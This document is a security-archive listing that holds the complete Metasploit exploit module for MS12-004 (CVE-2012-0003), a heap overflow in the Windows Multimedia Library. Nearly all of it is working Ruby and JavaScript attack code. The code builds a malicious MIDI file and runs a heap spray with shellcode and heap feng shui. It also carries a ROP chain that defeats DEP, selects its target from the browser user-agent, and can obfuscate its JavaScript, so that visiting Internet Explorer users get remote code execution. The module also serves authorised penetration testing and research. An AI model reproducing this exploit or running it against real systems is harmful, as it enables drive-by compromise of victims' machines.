what you don't know can hurt you

MS12-004 midiOutPlayNextPolyEvent Heap Overflow

MS12-004 midiOutPlayNextPolyEvent Heap Overflow
Posted Jan 28, 2012
Authored by sinn3r, juan vazquez, Shane Garrett | Site metasploit.com

This Metasploit module exploits a heap overflow vulnerability in the Windows Multimedia Library (winmm.dll). The vulnerability occurs when parsing specially crafted MIDI files. Remote code execution can be achieved by using Windows Media Player's ActiveX control. Exploitation is done by supplying a specially crafted MIDI file with specific events, causing the offset calculation being higher than how much is available on the heap (0x400 allocated by WINMM!winmmAlloc), and then allowing us to either "inc al" or "dec al" a byte. This can be used to corrupt an array (CImplAry) we setup, and force the browser to confuse types from tagVARIANT objects, which leverages remote code execution under the context of the user. At this time, for IE 8 target, JRE (Java Runtime Environment) is required to bypass DEP (Data Execution Prevention). Note: Based on our testing, the vulnerability does not seem to trigger when the victim machine is operated via rdesktop.

tags | exploit, java, remote, overflow, code execution, activex
systems | windows
advisories | CVE-2012-0003, OSVDB-78210
MD5 | e13897802c519c03ae5164b1d2ecb919

MS12-004 midiOutPlayNextPolyEvent Heap Overflow

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer::HTML

def initialize(info={})
super(update_info(info,
'Name' => "MS12-004 midiOutPlayNextPolyEvent Heap Overflow",
'Description' => %q{
This module exploits a heap overflow vulnerability in the Windows Multimedia
Library (winmm.dll). The vulnerability occurs when parsing specially crafted
MIDI files. Remote code execution can be achieved by using Windows Media Player's
ActiveX control.

Exploitation is done by supplying a specially crafted MIDI file with
specific events, causing the offset calculation being higher than how much is
available on the heap (0x400 allocated by WINMM!winmmAlloc), and then allowing
us to either "inc al" or "dec al" a byte. This can be used to corrupt an array
(CImplAry) we setup, and force the browser to confuse types from tagVARIANT objects,
which leverages remote code execution under the context of the user.

At this time, for IE 8 target, JRE (Java Runtime Environment) is required
to bypass DEP (Data Execution Prevention).

Note: Based on our testing, the vulnerability does not seem to trigger when
the victim machine is operated via rdesktop.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Shane Garrett', #Initial discovery (IBM X-Force)
'juan vazquez',
'sinn3r',
],
'References' =>
[
[ 'MSB', 'MS12-004'],
[ 'CVE', '2012-0003' ],
[ 'OSVDB', '78210'],
[ 'BID', '51292'],
[ 'URL', 'http://www.vupen.com/blog/20120117.Advanced_Exploitation_of_Windows_MS12-004_CVE-2012-0003.php' ],
],
'Payload' =>
{
'Space' => 1024,
},
'DefaultOptions' =>
{
'EXITFUNC' => "process",
'InitialAutoRunScript' => 'migrate -f',
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', {} ],
[
'IE 6 on Windows XP SP3',
{
'Rop' => false,
'DispatchDst' => 0x0c0c0c0c
}
],
[
'IE 7 on Windows XP SP3',
{
'Rop' => false,
'DispatchDst' => 0x0c0c0c0c
}
],
[
'IE 8 on Windows XP SP3',
{
# xchg ecx,esp
# or byte ptr [eax],al
# add byte ptr [edi+5Eh],bl
# ret 8
# From IMAGEHLP
'Rop' => true,
'StackPivot' => 0x76C9B4C2,
'DispatchDst' => 0x0c0c1be4
}
],
],
'Privileged' => false,
'DisclosureDate' => "Jan 10 2012",
'DefaultTarget' => 0))

register_options(
[
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
], self.class)

end

def get_target(request)
agent = request.headers['User-Agent']
vprint_status("Request from: #{agent}")

if agent =~ /NT 5\.1/ and agent =~ /MSIE 6\.0/
#Windows XP SP3 + IE 6.0
return targets[1]
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7\.0/
#Windows XP SP3 + IE 7.0
return targets[2]
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8\.0/
#Windows XP SP3 + IE 8.0 + JRE6
return targets[3]
else
return nil
end
end

def get_midi
# MIDI Fileformat Reference:
# http://www.sonicspot.com/guide/midifiles.html
#
# Event Types:
# 0x08 = Note Off (when MIDI key is released)
# 0x09 = Note On (when MIDI key is pressed)
# 0x0A = Note aftertouch (pressure change on the pressed MIDI key)
# 0x0B = Controller Event (MIDI channels state)
# 0x0C = Program change (Which instrument/patch should be played on the MIDI channel)
# 0x0D = Channel aftertouch (similar to Note Aftertouch; effects all keys pressed on the specific MIDI channel)
# 0x0E = Pitch Bend (similiar to a controller event; has 2 bytes to describe its value)
# 0x0F = Meta Events (not sent or received over a midi port)

# Structure:
# [Header Chunk][Track Chunk][Meta Event][Meta Event][SYSEX Event][Midi Channel Event)
# Problem:
# Windows Media Player fails to manage Note On and Note Off Events

# Track Chunk Data
tc = "\x00\xFF\x03\x0D\x44\x72\x75\x6D"
# Meta Event - Sequence/Track Name
tc << "\x73\x20\x20\x20\x28\x42\x42\x29\x00"
# Midi Channel Event - Program Change
tc << "\x00\xC9\x28"
# Midi Channel Event - Controller
tc << "\x00\xB9\x07\x64"
# Midi Channel Event - Controller
tc << "\x00\xB9\x0A\x40"
# Midi Channel Event - Controller
tc << "\x00\xB9\x7B\x00"
# Midi Channel Event - Controller
tc << "\x00\xB9\x5B\x28"
# Midi Channel Event - Controller
tc << "\x00\xB9\x5D\x00"
# Midi Channel Event - Note On
tc << "\x85\x50\x99\x23\x7F"

# Corruption events
# Midi Channel Event - Note On
tc << "\x00\x9F\xb2\x73"
# Ends Corruption events

# Meta Event - End Of Track
tc << "\x00\xFF\x2F\x00"
m = ''
# HEADERCHUNK Header
m << "MThd" # Header
m << "\x00\x00\x00\x06" # Chunk size
m << "\x00\x00" # Format Type
m << "\x00\x01" # Number of tracks
m << "\x00\x60" # Time division
# TRACKCHUNK header
m << "MTrk" # Header
m << [tc.length].pack('N')
m << tc

midi_name = "test_case.mid"

return midi_name, m
end

def on_request_uri(cli, request)

if request.uri =~ /\.mid$/i
print_status("Sending midi file to #{cli.peerhost}:#{cli.peerport}...")
send_response(cli, @midi, {'Content-Type'=>'application/octet-strem'})
return
end

#Set default target
my_target = target

#If user chooses automatic target, we choose one based on user agent
if my_target.name =~ /Automatic/
my_target = get_target(request)
if my_target.nil?
send_not_found(cli)
print_error("#{cli.peerhost}:#{cli.peerport} Unknown user-agent")
return
end
vprint_status("Target selected: #{my_target.name}")
end

midi_uri = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource
midi_uri << "/#{@m_name}"

spray = build_spray(my_target)

if datastore['OBFUSCATE']
spray = ::Rex::Exploitation::JSObfu.new(spray)
spray.obfuscate
end

trigger = build_trigger(my_target)
trigger_fn = "trigger"

if datastore['OBFUSCATE']
trigger = ::Rex::Exploitation::JSObfu.new(trigger)
trigger.obfuscate
trigger_fn = find_trigger_fn(trigger.to_s)
end

html = %Q|
<html>
<head>
<script language='javascript'>
#{spray}
</script>
<script language='javascript'>
#{trigger}
</script>
<script for=audio event=PlayStateChange(oldState,newState)>
if (oldState == 3 && newState == 0) {
#{trigger_fn}();
}
</script>
</head>
<body>
<object ID="audio" WIDTH=1 HEIGHT=1 CLASSID="CLSID:22D6F312-B0F6-11D0-94AB-0080C74C7E95">
<param name="fileName" value="#{midi_uri}">
<param name="SendPlayStateChangeEvents" value="true">
<param NAME="AutoStart" value="True">
<param name="uiMode" value="mini">
<param name="Volume" value="-300">
</object>
</body>
</html>
|

html = html.gsub(/^\t\t/, '')

print_status("Sending html to #{cli.peerhost}:#{cli.peerport}...")
send_response(cli, html, {'Content-Type'=>'text/html'})
end

def exploit
@m_name, @midi = get_midi
super
end

def build_spray(my_target)

# Extract string based on target
if my_target.name == 'IE 8 on Windows XP SP3'
js_extract_str = "var block = shellcode.substring(2, (0x40000-0x21)/2);"
else
js_extract_str = "var block = shellcode.substring(0, (0x80000-6)/2);"
end

# Build shellcode based on Rop requirement
if my_target['Rop']
code = create_rop_chain(my_target)
code << payload.encoded
shellcode = Rex::Text.to_unescape(code)
else
code = payload.encoded
shellcode = Rex::Text.to_unescape(code)
end

# 1. Create big block of nops
# 2. Compose one block which is nops + shellcode
# 3. Repeat the block
# 4. Extract string from the big block
# 5. Spray
spray = <<-JS
var heap_obj = new heapLib.ie(0x10000);

var code = unescape("#{shellcode}");
var nops = unescape("%u0c0c%u0c0c");

while (nops.length < 0x1000) nops+= nops;

var shellcode = nops.substring(0,0x800 - code.length) + code;

while (shellcode.length < 0x40000) shellcode += shellcode;

#{js_extract_str}

heap_obj.gc();
for (var i=0; i < 600; i++) {
heap_obj.alloc(block);
}

JS

spray = heaplib(spray, {:noobfu => true})
return spray
end

# Build the JavaScript string for the attributes
def build_element(element_name, my_target)
dst = Rex::Text.to_unescape([my_target['DispatchDst']].pack("V"))
element = ''

if my_target.name =~ /IE 8/
max = 63 # Number of attributes for IE 8
index = 1 # Where we want to confuse the type
else
max = 55 # Number of attributes for before IE 8
index = 0 # Where we want to confuse the type
end

element << "var #{element_name} = document.createElement(\"select\")" + "\n"

# Build attributes
0.upto(max) do |i|
obj = (i==index) ? "unescape(\"#{dst}\")" : "alert"
element << "#{element_name}.w#{i.to_s} = #{obj}" + "\n"
end

return element
end

# Feng Shui and triggering Steps:
# 1. Run the garbage collector before allocations
# 2. Defragment the heap and alloc CImplAry objects in one step (objects size are IE version dependent)
# 3. Make holes
# 4. Let windows media play the crafted midi file and corrupt the heap
# 5. Force the using of the confused tagVARIANT.
def build_trigger(my_target)

if my_target.name == 'IE 8 on Windows XP SP3'

# Redoing the feng shui if fails makes it reliable
js_trigger = <<-JSTRIGGER
function trigger(){
var k = 999;
while (k > 0) {
if (typeof(clones[k].w1) == "string") {
} else {
clones[k].w1('come on!');
}
k = k - 2;
}
feng_shui();
document.audio.Play();
}
JSTRIGGER

select_element = build_element('selob', my_target)
else

js_trigger = <<-JSTRIGGER
function trigger(){
var k = 999;
while (k > 0) {
if (typeof(clones[k].w0) == "string") {
} else {
clones[k].w0('come on!');
}
k = k - 2;
}
feng_shui();
document.audio.Play();
}
JSTRIGGER

select_element = build_element('selob', my_target)
end

trigger = <<-JS
var heap = new heapLib.ie();
#{select_element}
var clones=new Array(1000);

function feng_shui() {

heap.gc();

var i = 0;
while (i < 1000) {
clones[i] = selob.cloneNode(true)
i = i + 1;
}

var j = 0;
while (j < 1000) {
delete clones[j];
CollectGarbage();
j = j + 2;
}

}

feng_shui();

#{js_trigger}
JS

trigger = heaplib(trigger, {:noobfu => true})
return trigger
end

def find_trigger_fn(trigger)
fns = trigger.scan(/function ([a-zA-Z0-9_]+)\(\)/)
if fns.nil? or fns.empty?
return "trigger"
else
return fns.last.first
end
return "trigger"
end

def junk(n=1)
tmp = []
value = rand_text(4).unpack("L")[0].to_i
n.times { tmp << value }
return tmp
end

# ROP chain copied from ms11_050_mshtml_cobjectelement.rb (generated by mona)
# Added a little of roping to adjust the stack pivoting for this case
# Specific for IE8 XP SP3 case at this time
def create_rop_chain(my_target)

rop_gadgets =
[
0x7c347f98, # RETN (ROP NOP) [msvcr71.dll]
my_target['StackPivot'], # stackpivot
junk, # padding
0x7c376402, # POP EBP # RETN [msvcr71.dll]
0x7c376402, # skip 4 bytes [msvcr71.dll]
0x7c347f97, # POP EAX # RETN [msvcr71.dll]
0xfffff800, # Value to negate, will become 0x00000201 (dwSize)
0x7c351e05, # NEG EAX # RETN [msvcr71.dll]
0x7c354901, # POP EBX # RETN [msvcr71.dll]
0xffffffff,
0x7c345255, # INC EBX # FPATAN # RETN [msvcr71.dll]
0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN [msvcr71.dll]
0x7c344f87, # POP EDX # RETN [msvcr71.dll]
0xffffffc0, # Value to negate, will become 0x00000040
0x7c351eb1, # NEG EDX # RETN [msvcr71.dll]
0x7c34d201, # POP ECX # RETN [msvcr71.dll]
0x7c38b001, # &Writable location [msvcr71.dll]
0x7c34b8d7, # POP EDI # RETN [msvcr71.dll]
0x7c347f98, # RETN (ROP NOP) [msvcr71.dll]
0x7c364802, # POP ESI # RETN [msvcr71.dll]
0x7c3415a2, # JMP [EAX] [msvcr71.dll]
0x7c347f97, # POP EAX # RETN [msvcr71.dll]
0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
0x7c378c81, # PUSHAD # ADD AL,0EF # RETN [msvcr71.dll]
0x7c345c30, # ptr to 'push esp # ret ' [msvcr71.dll]
].flatten.pack('V*')

return rop_gadgets
end


end

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